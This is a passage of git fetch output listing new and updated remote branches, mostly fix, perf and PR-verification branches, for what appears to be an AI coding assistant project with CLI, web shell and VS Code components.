* [new branch] fix/shell-tool-throttle -> fix/shell-tool-throttle
* [new branch] fix/shepherd-zombie-queued -> fix/shepherd-zombie-queued
6f779c37ef..fd1b36e34a fix/shift-enter-newline -> fix/shift-enter-newline
* [new branch] fix/silent-error-swallowing -> fix/silent-error-swallowing
* [new branch] fix/silent-startup-update-check-failure -> fix/silent-startup-update-check-failure
* [new branch] fix/skill-dedup-on-reinvoke -> fix/skill-dedup-on-reinvoke
* [new branch] fix/skill-ts-type-error -> fix/skill-ts-type-error
* [new branch] fix/skills-remove-symlink-containment -> fix/skills-remove-symlink-containment
* [new branch] fix/slash-routing-history-followup-pr -> fix/slash-routing-history-followup-pr
* [new branch] fix/slash-routing-history-minimal -> fix/slash-routing-history-minimal
* [new branch] fix/spam-enforcement-minimize-fallback -> fix/spam-enforcement-minimize-fallback
* [new branch] fix/split-workflow-model-vars -> fix/split-workflow-model-vars
* [new branch] fix/split-workflow-model-vars-v2 -> fix/split-workflow-model-vars-v2
* [new branch] fix/sse-strip-skill-details -> fix/sse-strip-skill-details
* [new branch] fix/stale-git-branch-7828 -> fix/stale-git-branch-7828
* [new branch] fix/stale-tasks-references -> fix/stale-tasks-references
* [new branch] fix/standalone-cli-entry-allowlist -> fix/standalone-cli-entry-allowlist
* [new branch] fix/standalone-dist-node-modules -> fix/standalone-dist-node-modules
* [new branch] fix/standalone-fzfworker-allowlist -> fix/standalone-fzfworker-allowlist
* [new branch] fix/standardize-sdk-python-tag-prefix -> fix/standardize-sdk-python-tag-prefix
* [new branch] fix/status-line-context-indicator -> fix/status-line-context-indicator
* [new branch] fix/step5-batch-build -> fix/step5-batch-build
* [new branch] fix/sticky-todo-panel-stale-7061 -> fix/sticky-todo-panel-stale-7061
* [new branch] fix/stop-hook-last-assistant-message-thought-filter -> fix/stop-hook-last-assistant-message-thought-filter
* [new branch] fix/stop-hook-loop-detection-7588 -> fix/stop-hook-loop-detection-7588
* [new branch] fix/stream-idle-timeout-env -> fix/stream-idle-timeout-env
* [new branch] fix/stream-inactivity-timeout -> fix/stream-inactivity-timeout
* [new branch] fix/subagent-hook-context-crash -> fix/subagent-hook-context-crash
* [new branch] fix/subagent-live-journal -> fix/subagent-live-journal
* [new branch] fix/surviving-hook-supervisor-hardening -> fix/surviving-hook-supervisor-hardening
* [new branch] fix/sync-skill-allowtools-caveats -> fix/sync-skill-allowtools-caveats
* [new branch] fix/system-control-multi-model-e2e -> fix/system-control-multi-model-e2e
* [new branch] fix/table-wrap-ansi-highlight -> fix/table-wrap-ansi-highlight
* [new branch] fix/tagged-thinking-default-provider -> fix/tagged-thinking-default-provider
* [new branch] fix/takeover-convergence -> fix/takeover-convergence
* [new branch] fix/tar-hardlink-fixture-unhandled-error -> fix/tar-hardlink-fixture-unhandled-error
* [new branch] fix/task-notification-message-side -> fix/task-notification-message-side
* [new branch] fix/telemetry-file-exporter-crash -> fix/telemetry-file-exporter-crash
* [new branch] fix/telemetry-session-swap-double-count -> fix/telemetry-session-swap-double-count
* [new branch] fix/telemetry-swap-toolregistry-mock -> fix/telemetry-swap-toolregistry-mock
* [new branch] fix/thinking-only-model-7332 -> fix/thinking-only-model-7332
* [new branch] fix/tmux-lane-parity -> fix/tmux-lane-parity
* [new branch] fix/tool-control-flaky-assertions -> fix/tool-control-flaky-assertions
* [new branch] fix/tool-control-timeout -> fix/tool-control-timeout
* [new branch] fix/tool-control-trailing-newline -> fix/tool-control-trailing-newline
* [new branch] fix/tool-display-clear-timing -> fix/tool-display-clear-timing
* [new branch] fix/tool-fallback-system-prompt -> fix/tool-fallback-system-prompt
* [new branch] fix/transactional-session-resync-repair -> fix/transactional-session-resync-repair
* [new branch] fix/transactional-session-switches -> fix/transactional-session-switches
* [new branch] fix/transcript-pagination-oversized-turn -> fix/transcript-pagination-oversized-turn
* [new branch] fix/triage-allow-precheck-passed -> fix/triage-allow-precheck-passed
* [new branch] fix/triage-cli-install -> fix/triage-cli-install
* [new branch] fix/triage-container-init -> fix/triage-container-init
* [new branch] fix/triage-dynamic-model-signature -> fix/triage-dynamic-model-signature
* [new branch] fix/triage-ecs-runner -> fix/triage-ecs-runner
* [new branch] fix/triage-gate-anti-noise -> fix/triage-gate-anti-noise
* [new branch] fix/triage-tmux-followups -> fix/triage-tmux-followups
* [new branch] fix/triage-workflow-shell-bash -> fix/triage-workflow-shell-bash
* [new branch] fix/trim-rank-axis-naming -> fix/trim-rank-axis-naming
* [new branch] fix/trust-precedence-most-specific -> fix/trust-precedence-most-specific
* [new branch] fix/ts5055-vscode-release -> fix/ts5055-vscode-release
* [new branch] fix/ts5055-vscode-release-v2 -> fix/ts5055-vscode-release-v2
* [new branch] fix/tui-system-reminder-display -> fix/tui-system-reminder-display
* [new branch] fix/turn-tool-call-cap-goal-chains -> fix/turn-tool-call-cap-goal-chains
* [new branch] fix/unhandled-rejection-abort-lifecycle-test -> fix/unhandled-rejection-abort-lifecycle-test
* [new branch] fix/unverified-criticals-cap -> fix/unverified-criticals-cap
* [new branch] fix/upload-oss-tdz-error -> fix/upload-oss-tdz-error
* [new branch] fix/verify-capture-in-budget -> fix/verify-capture-in-budget
* [new branch] fix/verify-gate-dist-rebuild-warning -> fix/verify-gate-dist-rebuild-warning
* [new branch] fix/verify-install-retry -> fix/verify-install-retry
* [new branch] fix/verify-process-guard-diagnostics -> fix/verify-process-guard-diagnostics
* [new branch] fix/verify-report-render -> fix/verify-report-render
* [new branch] fix/verify-worktree-cleanup-exit-code -> fix/verify-worktree-cleanup-exit-code
* [new branch] fix/vitest-forks-worker-limits -> fix/vitest-forks-worker-limits
* [new branch] fix/vp-bottom-align-9300 -> fix/vp-bottom-align-9300
* [new branch] fix/vp-collapsed-thought-blank-gap -> fix/vp-collapsed-thought-blank-gap
* [new branch] fix/vp-mouse-passthrough -> fix/vp-mouse-passthrough
* [new branch] fix/vp-scroll-at-idle -> fix/vp-scroll-at-idle
* [new branch] fix/vp-shift-enter-and-thinking-flicker -> fix/vp-shift-enter-and-thinking-flicker
* [new branch] fix/vscode-history-cross-source -> fix/vscode-history-cross-source
* [new branch] fix/vscode-history-include-legacy-sessions -> fix/vscode-history-include-legacy-sessions
* [new branch] fix/vscode-ide-companion-curly-lint -> fix/vscode-ide-companion-curly-lint
* [new branch] fix/vscode-permission-diff-dismissal -> fix/vscode-permission-diff-dismissal
* [new branch] fix/vscode-release-sync-toggle -> fix/vscode-release-sync-toggle
* [new branch] fix/vscode-remote-ssh-env-var -> fix/vscode-remote-ssh-env-var
* [new branch] fix/wake-repaint-vp-clear -> fix/wake-repaint-vp-clear
* [new branch] fix/web-fetch-side-query-hardening -> fix/web-fetch-side-query-hardening
* [new branch] fix/web-shell-approval-a11y -> fix/web-shell-approval-a11y
* [new branch] fix/web-shell-boot-fallback -> fix/web-shell-boot-fallback
* [new branch] fix/web-shell-brand-tests-ci -> fix/web-shell-brand-tests-ci
* [new branch] fix/web-shell-bridge-notice-i18n -> fix/web-shell-bridge-notice-i18n
* [new branch] fix/web-shell-dark-group-title-color-v2 -> fix/web-shell-dark-group-title-color-v2
* [new branch] fix/web-shell-dev-measure-timeline-cap -> fix/web-shell-dev-measure-timeline-cap
* [new branch] fix/web-shell-dev-proxy-standalone-live -> fix/web-shell-dev-proxy-standalone-live
* [new branch] fix/web-shell-duplicate-archive-action -> fix/web-shell-duplicate-archive-action
* [new branch] fix/web-shell-duplicate-portal-root-import -> fix/web-shell-duplicate-portal-root-import
* [new branch] fix/web-shell-git-branch-narrow-space -> fix/web-shell-git-branch-narrow-space
* [new branch] fix/web-shell-git-mode-popover -> fix/web-shell-git-mode-popover
* [new branch] fix/web-shell-group-title-color -> fix/web-shell-group-title-color
* [new branch] fix/web-shell-hide-a2ui-update -> fix/web-shell-hide-a2ui-update
* [new branch] fix/web-shell-hide-unrecognized-debug -> fix/web-shell-hide-unrecognized-debug
* [new branch] fix/web-shell-i18n -> fix/web-shell-i18n
* [new branch] fix/web-shell-i18n-audit -> fix/web-shell-i18n-audit
* [new branch] fix/web-shell-loop-detection-error -> fix/web-shell-loop-detection-error
* [new branch] fix/web-shell-mid-turn-idle-rejection -> fix/web-shell-mid-turn-idle-rejection
* [new branch] fix/web-shell-mobile-quick-actions-blank -> fix/web-shell-mobile-quick-actions-blank
* [new branch] fix/web-shell-model-dropdown-width -> fix/web-shell-model-dropdown-width
* [new branch] fix/web-shell-new-task-workspace-default -> fix/web-shell-new-task-workspace-default
* [new branch] fix/web-shell-pagination-turn-collapse -> fix/web-shell-pagination-turn-collapse
* [new branch] fix/web-shell-paste -> fix/web-shell-paste
* [new branch] fix/web-shell-pr-row-focus-visible -> fix/web-shell-pr-row-focus-visible
* [new branch] fix/web-shell-recap-session-isolation -> fix/web-shell-recap-session-isolation
* [new branch] fix/web-shell-scratch-workspace-auth -> fix/web-shell-scratch-workspace-auth
* [new branch] fix/web-shell-secondary-workspace-pin -> fix/web-shell-secondary-workspace-pin
* [new branch] fix/web-shell-session-name-tooltip -> fix/web-shell-session-name-tooltip
* [new branch] fix/web-shell-session-url -> fix/web-shell-session-url
* [new branch] fix/web-shell-sidebar-git-chip-refresh -> fix/web-shell-sidebar-git-chip-refresh
* [new branch] fix/web-shell-sidebar-settings-text-wrap -> fix/web-shell-sidebar-settings-text-wrap
* [new branch] fix/web-shell-split-fold-first-pane -> fix/web-shell-split-fold-first-pane
* [new branch] fix/web-shell-split-overview-cross-workspace -> fix/web-shell-split-overview-cross-workspace
* [new branch] fix/web-shell-split-view-slash-i18n -> fix/web-shell-split-view-slash-i18n
* [new branch] fix/web-shell-stale-dist-types -> fix/web-shell-stale-dist-types
* [new branch] fix/web-shell-stale-dist-v2 -> fix/web-shell-stale-dist-v2
* [new branch] fix/web-shell-standalone-workspace-navigation -> fix/web-shell-standalone-workspace-navigation
* [new branch] fix/web-shell-subagent-tab-i18n -> fix/web-shell-subagent-tab-i18n
* [new branch] fix/web-shell-timestamp-tip-overlap -> fix/web-shell-timestamp-tip-overlap
* [new branch] fix/web-shell-type-errors -> fix/web-shell-type-errors
* [new branch] fix/web-shell-visuals-aa-denoise -> fix/web-shell-visuals-aa-denoise
* [new branch] fix/web-shell-visuals-splitview-flake-multiworkspace -> fix/web-shell-visuals-splitview-flake-multiworkspace
* [new branch] fix/web-shell-workspace-chip-tooltip -> fix/web-shell-workspace-chip-tooltip
* [new branch] fix/web-shell-workspace-guard-diagnostics -> fix/web-shell-workspace-guard-diagnostics
* [new branch] fix/web-shell-workspace-ux -> fix/web-shell-workspace-ux
* [new branch] fix/web-shell-worktree-git-dialog -> fix/web-shell-worktree-git-dialog
* [new branch] fix/web-shell-worktree-session-isolation -> fix/web-shell-worktree-session-isolation
* [new branch] fix/web-shell-yolo-session-toast -> fix/web-shell-yolo-session-toast
* [new branch] fix/web-terminal-bundled-conpty -> fix/web-terminal-bundled-conpty
* [new branch] fix/web-terminal-exit-release -> fix/web-terminal-exit-release
* [new branch] fix/websearch-notice-guidance -> fix/websearch-notice-guidance
* [new branch] fix/webshell-archive-misclick -> fix/webshell-archive-misclick
* [new branch] fix/webshell-copy-timer-unmount -> fix/webshell-copy-timer-unmount
* [new branch] fix/webshell-sendfile-dotfile -> fix/webshell-sendfile-dotfile
* [new branch] fix/webshell-strictmode-dispose -> fix/webshell-strictmode-dispose
* [new branch] fix/webui-clear-timed-out-session-identity -> fix/webui-clear-timed-out-session-identity
* [new branch] fix/webui-mcp-readiness-timeout -> fix/webui-mcp-readiness-timeout
* [new branch] fix/webui-sdk-workspace-link -> fix/webui-sdk-workspace-link
* [new branch] fix/weixin-typing-keepalive -> fix/weixin-typing-keepalive
* [new branch] fix/windows-bundled-conpty-11303 -> fix/windows-bundled-conpty-11303
* [new branch] fix/windows-ci-temp-8dot3 -> fix/windows-ci-temp-8dot3
* [new branch] fix/windows-conpty-host-leak-11303 -> fix/windows-conpty-host-leak-11303
* [new branch] fix/windows-installer-system-path-scope -> fix/windows-installer-system-path-scope
* [new branch] fix/windows-installer-test-timeout -> fix/windows-installer-test-timeout
* [new branch] fix/windows-lane-core -> fix/windows-lane-core
* [new branch] fix/windows-lane-red -> fix/windows-lane-red
* [new branch] fix/windows-main-ci-10438 -> fix/windows-main-ci-10438
* [new branch] fix/windows-sgr-mouse-scroll -> fix/windows-sgr-mouse-scroll
* [new branch] fix/windows-surviving-hook-reap -> fix/windows-surviving-hook-reap
* [new branch] fix/workflow-size-baseline -> fix/workflow-size-baseline
* [new branch] fix/workflow-size-gate-stale-baseline-blast-radius -> fix/workflow-size-gate-stale-baseline-blast-radius
* [new branch] fix/worktree-artifact-path -> fix/worktree-artifact-path
* [new branch] fix/worktree-branch-status-line -> fix/worktree-branch-status-line
* [new branch] fix/worktree-session-display -> fix/worktree-session-display
* [new branch] fix/worktree-symlink-test-tmp-isolation -> fix/worktree-symlink-test-tmp-isolation
* [new branch] fix/xml-tool-call-fallback -> fix/xml-tool-call-fallback
* [new branch] fix/yaml-block-scalar-description -> fix/yaml-block-scalar-description
* [new branch] flaky-transcript-dispatch-drain -> flaky-transcript-dispatch-drain
* [new branch] harden-review-issue-fidelity -> harden-review-issue-fidelity
* [new branch] hygiene/x -> hygiene/x
* [new branch] issue-10314-api-error-triage-fail -> issue-10314-api-error-triage-fail
* [new branch] issue-10372-close-diff-path -> issue-10372-close-diff-path
* [new branch] issue-11031 -> issue-11031
* [new branch] issue-1775 -> issue-1775
* [new branch] issue-9281 -> issue-9281
* [new branch] issue-9699 -> issue-9699
* [new branch] lane3-core-root-barrel -> lane3-core-root-barrel
* [new branch] lane4-debt-ratchets -> lane4-debt-ratchets
* [new branch] lazzy/4437-minimal-v2 -> lazzy/4437-minimal-v2
* [new branch] lazzy/admiring-banach-bf7ca8 -> lazzy/admiring-banach-bf7ca8
* [new branch] lazzy/adoring-liskov-d4c732 -> lazzy/adoring-liskov-d4c732
* [new branch] lazzy/adoring-mcclintock-e4d33a -> lazzy/adoring-mcclintock-e4d33a
* [new branch] lazzy/auto-compaction-redesign-clean -> lazzy/auto-compaction-redesign-clean
* [new branch] lazzy/compaction-trigger-reason-msg -> lazzy/compaction-trigger-reason-msg
* [new branch] lazzy/computer-use-fork-integration -> lazzy/computer-use-fork-integration
* [new branch] lazzy/computer-use-yolo-install-approval -> lazzy/computer-use-yolo-install-approval
* [new branch] lazzy/cua-driver-relative-coords -> lazzy/cua-driver-relative-coords
* [new branch] lazzy/cua-max-image-dimension -> lazzy/cua-max-image-dimension
* [new branch] lazzy/dazzling-northcutt-5dd59e -> lazzy/dazzling-northcutt-5dd59e
* [new branch] lazzy/desktop-mac-signing -> lazzy/desktop-mac-signing
* [new branch] lazzy/determined-clarke-f6eb14 -> lazzy/determined-clarke-f6eb14
* [new branch] lazzy/distracted-lamport-847408 -> lazzy/distracted-lamport-847408
* [new branch] lazzy/eloquent-taussig-01e9e0 -> lazzy/eloquent-taussig-01e9e0
* [new branch] lazzy/epic-ritchie-9bfc6b -> lazzy/epic-ritchie-9bfc6b
* [new branch] lazzy/extract-qwen-live -> lazzy/extract-qwen-live
* [new branch] lazzy/feat-4091-qwen-local-md -> lazzy/feat-4091-qwen-local-md
* [new branch] lazzy/feat-9334-computer-use-repl-sdk -> lazzy/feat-9334-computer-use-repl-sdk
* [new branch] lazzy/feat-computer-use-skill -> lazzy/feat-computer-use-skill
* [new branch] lazzy/fervent-shamir-b5b3a6 -> lazzy/fervent-shamir-b5b3a6
* [new branch] lazzy/fix-4093-cmd-substitution-deny -> lazzy/fix-4093-cmd-substitution-deny
* [new branch] lazzy/fix-4452-claude-converter-whole-folder -> lazzy/fix-4452-claude-converter-whole-folder
* [new branch] lazzy/fix-cua-baked-version -> lazzy/fix-cua-baked-version
* [new branch] lazzy/fix-cua-driver-mcp-reliability -> lazzy/fix-cua-driver-mcp-reliability
* [new branch] lazzy/fix-cua-release-bullseye-expiry -> lazzy/fix-cua-release-bullseye-expiry
* [new branch] lazzy/fix-cua-release-version-sync -> lazzy/fix-cua-release-version-sync
* [new branch] lazzy/fix-cua-sdk-auto-diff-round2 -> lazzy/fix-cua-sdk-auto-diff-round2
* [new branch] lazzy/fix-live-host-release-permissions -> lazzy/fix-live-host-release-permissions
* [new branch] lazzy/fix-live-host-release-secrets -> lazzy/fix-live-host-release-secrets
* [new branch] lazzy/fix-live-host-signing-name -> lazzy/fix-live-host-signing-name
* [new branch] lazzy/fix-omni-policy-pipeline -> lazzy/fix-omni-policy-pipeline
* [new branch] lazzy/fix-status-clobber-4169 -> lazzy/fix-status-clobber-4169
* [new branch] lazzy/fix-uia-worker-degraded-response -> lazzy/fix-uia-worker-degraded-response
* [new branch] lazzy/fix-workflow-prune-path-traversal -> lazzy/fix-workflow-prune-path-traversal
* [new branch] lazzy/funny-poitras-53c5db -> lazzy/funny-poitras-53c5db
* [new branch] lazzy/gifted-hamilton-684741 -> lazzy/gifted-hamilton-684741
* [new branch] lazzy/happy-jang-5c59d8 -> lazzy/happy-jang-5c59d8
* [new branch] lazzy/heuristic-bose-2af20d -> lazzy/heuristic-bose-2af20d
* [new branch] lazzy/hook-matcher-tool-alias -> lazzy/hook-matcher-tool-alias
* [new branch] lazzy/image-payload-references -> lazzy/image-payload-references
* [new branch] lazzy/intelligent-ellis-43d3bb -> lazzy/intelligent-ellis-43d3bb
* [new branch] lazzy/learn-command-clean -> lazzy/learn-command-clean
* [new branch] lazzy/live-host-oss-download -> lazzy/live-host-oss-download
* [new branch] lazzy/live-host-versioned-oss-mirror -> lazzy/live-host-versioned-oss-mirror
* [new branch] lazzy/lucid-pare-974192 -> lazzy/lucid-pare-974192
* [new branch] lazzy/mcp-approve-button -> lazzy/mcp-approve-button
* [new branch] lazzy/mcp-payload-filter -> lazzy/mcp-payload-filter
* [new branch] lazzy/mobile-mcp-restore-ui-bounds -> lazzy/mobile-mcp-restore-ui-bounds
* [new branch] lazzy/modest-nobel-789f4b -> lazzy/modest-nobel-789f4b
* [new branch] lazzy/nice-tu-a1a6a9 -> lazzy/nice-tu-a1a6a9
* [new branch] lazzy/nifty-bhabha-ccf49c -> lazzy/nifty-bhabha-ccf49c
* [new branch] lazzy/recursing-sanderson-93fcc0 -> lazzy/recursing-sanderson-93fcc0
* [new branch] lazzy/release-cua-0.20.4-node-repl-version -> lazzy/release-cua-0.20.4-node-repl-version
* [new branch] lazzy/replace-default-cua-driver -> lazzy/replace-default-cua-driver
* [new branch] lazzy/reverent-bassi-66b1be -> lazzy/reverent-bassi-66b1be
* [new branch] lazzy/revert-4342-x-api-key -> lazzy/revert-4342-x-api-key
* [new branch] lazzy/romantic-burnell-b6e48c -> lazzy/romantic-burnell-b6e48c
* [new branch] lazzy/sharp-mcnulty-01c3d4 -> lazzy/sharp-mcnulty-01c3d4
* [new branch] lazzy/sleepy-margulis-d12fee -> lazzy/sleepy-margulis-d12fee
* [new branch] lazzy/sweet-ride-484079 -> lazzy/sweet-ride-484079
* [new branch] lazzy/takeover-pr-9587 -> lazzy/takeover-pr-9587
* [new branch] lazzy/tender-jemison-037f0a -> lazzy/tender-jemison-037f0a
* [new branch] lazzy/trusting-easley-faac74 -> lazzy/trusting-easley-faac74
* [new branch] lazzy/trusting-grothendieck-8a8501 -> lazzy/trusting-grothendieck-8a8501
* [new branch] lazzy/wonderful-swirles-21920d -> lazzy/wonderful-swirles-21920d
* [new branch] lazzy/workflow-p2-parallel-pipeline -> lazzy/workflow-p2-parallel-pipeline
* [new branch] lazzy/workflow-p3-schema-agenttype-isolation -> lazzy/workflow-p3-schema-agenttype-isolation
* [new branch] lazzy/workflow-p5-budget -> lazzy/workflow-p5-budget
* [new branch] lazzy/workflow-port-completion -> lazzy/workflow-port-completion
* [new branch] lazzy/youthful-blackwell-107afe -> lazzy/youthful-blackwell-107afe
* [new branch] lazzy/youthful-kowalevski-a2c968 -> lazzy/youthful-kowalevski-a2c968
df594f75fe..d0e3935703 main -> main
* [new branch] mcp-subagent-invariant -> mcp-subagent-invariant
86d9d934e3..54c899ce82 mingholy/fix/api-key-auth -> mingholy/fix/api-key-auth
* [new branch] mobile-mcp/coord-norm-audit -> mobile-mcp/coord-norm-audit
* [new branch] mobile-mcp/coord-range-check -> mobile-mcp/coord-range-check
* [new branch] mobile-mcp/strip-bounds -> mobile-mcp/strip-bounds
* [new branch] omni-experiment -> omni-experiment
* [new branch] omni/design-docs -> omni/design-docs
* [new branch] omni/s1-minimal-path -> omni/s1-minimal-path
* [new branch] omni/s2-input-expansion -> omni/s2-input-expansion
* [new branch] omni/s3-delivery-reliability -> omni/s3-delivery-reliability
* [new branch] omni/s4-policy-pipeline -> omni/s4-policy-pipeline
* [new branch] opentui-live-slash-submit -> opentui-live-slash-submit
* [new branch] perf/acp-defer-tui-runtime -> perf/acp-defer-tui-runtime
* [new branch] perf/acp-preheat-contract -> perf/acp-preheat-contract
* [new branch] perf/acp-settings-cache -> perf/acp-settings-cache
* [new branch] perf/autofix-drop-npm-cache -> perf/autofix-drop-npm-cache
* [new branch] perf/autofix-raise-fleet-parallelism -> perf/autofix-raise-fleet-parallelism
* [new branch] perf/build-test-file-scope -> perf/build-test-file-scope
* [new branch] perf/ci-micro-source-medium -> perf/ci-micro-source-medium
* [new branch] perf/cli-node-test-env -> perf/cli-node-test-env
* [new branch] perf/core-subpath-imports -> perf/core-subpath-imports
* [new branch] perf/core-subpath-imports-batch1 -> perf/core-subpath-imports-batch1
* [new branch] perf/core-subpath-imports-batch2 -> perf/core-subpath-imports-batch2
* [new branch] perf/core-subpath-imports-batch3 -> perf/core-subpath-imports-batch3
* [new branch] perf/defer-low-frequency-tools -> perf/defer-low-frequency-tools
* [new branch] perf/github-prs-cache -> perf/github-prs-cache
* [new branch] perf/issue-8678-selective-session-restore -> perf/issue-8678-selective-session-restore
* [new branch] perf/reverse-audit-micro-cap -> perf/reverse-audit-micro-cap
* [new branch] perf/review-3b-convergence-pair -> perf/review-3b-convergence-pair
* [new branch] perf/review-agent-tool-budget -> perf/review-agent-tool-budget
* [new branch] perf/review-compose-survives-budget-stop -> perf/review-compose-survives-budget-stop
* [new branch] perf/review-cpu-for-tokens -> perf/review-cpu-for-tokens
* [new branch] perf/review-docs-only-medium -> perf/review-docs-only-medium
* [new branch] perf/review-pipeline-latency -> perf/review-pipeline-latency
* [new branch] perf/review-scoped-build-test -> perf/review-scoped-build-test
* [new branch] perf/serve-compile-cache-defer-version -> perf/serve-compile-cache-defer-version
* [new branch] perf/serve-skip-spawnsync -> perf/serve-skip-spawnsync
* [new branch] perf/session-workflow-projection -> perf/session-workflow-projection
* [new branch] perf/triage-timeout-tunable -> perf/triage-timeout-tunable
* [new branch] perf/web-shell-lower-virtual-scroll-threshold -> perf/web-shell-lower-virtual-scroll-threshold
* [new branch] phase4-tool-result-overflow -> phase4-tool-result-overflow
* [new branch] pr-10164-review-fixes -> pr-10164-review-fixes
* [new branch] pr-3792 -> pr-3792
* [new branch] pr-4570 -> pr-4570
* [new branch] pr-6061 -> pr-6061
* [new branch] pr-6433 -> pr-6433
* [new branch] pr-6678-verification-assets -> pr-6678-verification-assets
* [new branch] pr-6679-verify-assets -> pr-6679-verify-assets
* [new branch] pr-assets-7800-verify -> pr-assets-7800-verify
* [new branch] pr-assets-8241-verify -> pr-assets-8241-verify
* [new branch] pr-assets-8276-verify -> pr-assets-8276-verify
* [new branch] pr-assets-8322-verify -> pr-assets-8322-verify
* [new branch] pr-assets-8332-verify -> pr-assets-8332-verify
* [new branch] pr-assets-8368-verify -> pr-assets-8368-verify
* [new branch] pr-assets-8467-verify -> pr-assets-8467-verify
* [new branch] pr-assets-8525-verify -> pr-assets-8525-verify
* [new branch] pr-assets-8687-verify -> pr-assets-8687-verify
* [new branch] pr-assets-8704-verify -> pr-assets-8704-verify
* [new branch] pr-assets-8744-verify -> pr-assets-8744-verify
* [new branch] pr-assets-8745-verify -> pr-assets-8745-verify
* [new branch] pr-assets-8759-verify -> pr-assets-8759-verify
* [new branch] pr-assets-8779-verify -> pr-assets-8779-verify
* [new branch] pr-assets-8781-verify -> pr-assets-8781-verify
* [new branch] pr-assets-8788-verify -> pr-assets-8788-verify
* [new branch] pr-assets-8852-verify -> pr-assets-8852-verify
* [new branch] pr-assets-8861-verify -> pr-assets-8861-verify
* [new branch] pr-assets-8972-verify -> pr-assets-8972-verify
* [new branch] pr-assets-9007-verify -> pr-assets-9007-verify
* [new branch] pr-assets-9163-verify -> pr-assets-9163-verify
* [new branch] pr-assets-9341-verify -> pr-assets-9341-verify
* [new branch] pr-assets-9687-verify -> pr-assets-9687-verify
* [new branch] pr-assets-9763-verify -> pr-assets-9763-verify
* [new branch] pr-assets/10010-verify -> pr-assets/10010-verify
* [new branch] pr-assets/10034-verify -> pr-assets/10034-verify
* [new branch] pr-assets/10043-verify -> pr-assets/10043-verify
* [new branch] pr-assets/10112-verify -> pr-assets/10112-verify
* [new branch] pr-assets/10136-verify -> pr-assets/10136-verify
* [new branch] pr-assets/10160-verify -> pr-assets/10160-verify
* [new branch] pr-assets/10258-verify -> pr-assets/10258-verify
* [new branch] pr-assets/10290-verify -> pr-assets/10290-verify
* [new branch] pr-assets/10301-verify -> pr-assets/10301-verify
* [new branch] pr-assets/10318-verify -> pr-assets/10318-verify
* [new branch] pr-assets/10397-verify -> pr-assets/10397-verify
* [new branch] pr-assets/10410-verify -> pr-assets/10410-verify
* [new branch] pr-assets/10432-verify -> pr-assets/10432-verify
* [new branch] pr-assets/6433-verify -> pr-assets/6433-verify
* [new branch] pr-assets/6440-verify -> pr-assets/6440-verify
* [new branch] pr-assets/6707-verify -> pr-assets/6707-verify
* [new branch] pr-assets/6729-tooltip-dedup -> pr-assets/6729-tooltip-dedup
* [new branch] pr-assets/6788-verify -> pr-assets/6788-verify
* [new branch] pr-assets/6797-github-dotgit-suffix -> pr-assets/6797-github-dotgit-suffix
* [new branch] pr-assets/6799-verify -> pr-assets/6799-verify
* [new branch] pr-assets/6815-verify -> pr-assets/6815-verify
* [new branch] pr-assets/6819-verify -> pr-assets/6819-verify
* [new branch] pr-assets/6838-verify -> pr-assets/6838-verify
* [new branch] pr-assets/6844-verify -> pr-assets/6844-verify
* [new branch] pr-assets/6846-verify -> pr-assets/6846-verify
* [new branch] pr-assets/6847-verify -> pr-assets/6847-verify
* [new branch] pr-assets/6854-verify -> pr-assets/6854-verify
* [new branch] pr-assets/6860-verify -> pr-assets/6860-verify
* [new branch] pr-assets/6864-verify -> pr-assets/6864-verify
* [new branch] pr-assets/6873-verify -> pr-assets/6873-verify
* [new branch] pr-assets/6876-heartbeat -> pr-assets/6876-heartbeat
* [new branch] pr-assets/6877-verify -> pr-assets/6877-verify
* [new branch] pr-assets/6878-verify -> pr-assets/6878-verify
* [new branch] pr-assets/6880-verify -> pr-assets/6880-verify
* [new branch] pr-assets/6881-verify -> pr-assets/6881-verify
* [new branch] pr-assets/6882-verify -> pr-assets/6882-verify
* [new branch] pr-assets/6885-verify -> pr-assets/6885-verify
* [new branch] pr-assets/6891-verify -> pr-assets/6891-verify
* [new branch] pr-assets/6893-verify -> pr-assets/6893-verify
* [new branch] pr-assets/6899-verify -> pr-assets/6899-verify
* [new branch] pr-assets/6900-verify -> pr-assets/6900-verify
* [new branch] pr-assets/6903-verify -> pr-assets/6903-verify
* [new branch] pr-assets/6904-verify -> pr-assets/6904-verify
* [new branch] pr-assets/6905-verify -> pr-assets/6905-verify
* [new branch] pr-assets/6920-verify -> pr-assets/6920-verify
* [new branch] pr-assets/6922-verify -> pr-assets/6922-verify
* [new branch] pr-assets/6924-verify -> pr-assets/6924-verify
* [new branch] pr-assets/6925-verify -> pr-assets/6925-verify
* [new branch] pr-assets/6945-verify-v2 -> pr-assets/6945-verify-v2
* [new branch] pr-assets/6954-verify -> pr-assets/6954-verify
* [new branch] pr-assets/6961-verify -> pr-assets/6961-verify
* [new branch] pr-assets/6967-plan-exit-verify -> pr-assets/6967-plan-exit-verify
* [new branch] pr-assets/6984-verify -> pr-assets/6984-verify
* [new branch] pr-assets/7003-verify -> pr-assets/7003-verify
* [new branch] pr-assets/7005-verify -> pr-assets/7005-verify
* [new branch] pr-assets/7010-reverify -> pr-assets/7010-reverify
* [new branch] pr-assets/7020-verify -> pr-assets/7020-verify
* [new branch] pr-assets/7045-verify -> pr-assets/7045-verify
* [new branch] pr-assets/7050-verify -> pr-assets/7050-verify
* [new branch] pr-assets/7053-verify -> pr-assets/7053-verify
* [new branch] pr-assets/7059-verify -> pr-assets/7059-verify
* [new branch] pr-assets/7062-verify -> pr-assets/7062-verify
* [new branch] pr-assets/7065-verify -> pr-assets/7065-verify
* [new branch] pr-assets/7066-verify -> pr-assets/7066-verify
* [new branch] pr-assets/7072-verify -> pr-assets/7072-verify
* [new branch] pr-assets/7080-sse-restart-verify -> pr-assets/7080-sse-restart-verify
* [new branch] pr-assets/7082-promptid-verify -> pr-assets/7082-promptid-verify
* [new branch] pr-assets/7083-verify -> pr-assets/7083-verify
* [new branch] pr-assets/7087-verify -> pr-assets/7087-verify
* [new branch] pr-assets/7090-steer-verify -> pr-assets/7090-steer-verify
* [new branch] pr-assets/7092-verify -> pr-assets/7092-verify
* [new branch] pr-assets/7098-verify -> pr-assets/7098-verify
* [new branch] pr-assets/7099-verify -> pr-assets/7099-verify
* [new branch] pr-assets/7100-verify -> pr-assets/7100-verify
* [new branch] pr-assets/7122-verify -> pr-assets/7122-verify
* [new branch] pr-assets/7123-verify -> pr-assets/7123-verify
* [new branch] pr-assets/7125-verify -> pr-assets/7125-verify
* [new branch] pr-assets/7132-verify -> pr-assets/7132-verify
* [new branch] pr-assets/7133-verify -> pr-assets/7133-verify
* [new branch] pr-assets/7134-verify -> pr-assets/7134-verify
* [new branch] pr-assets/7135-verify -> pr-assets/7135-verify
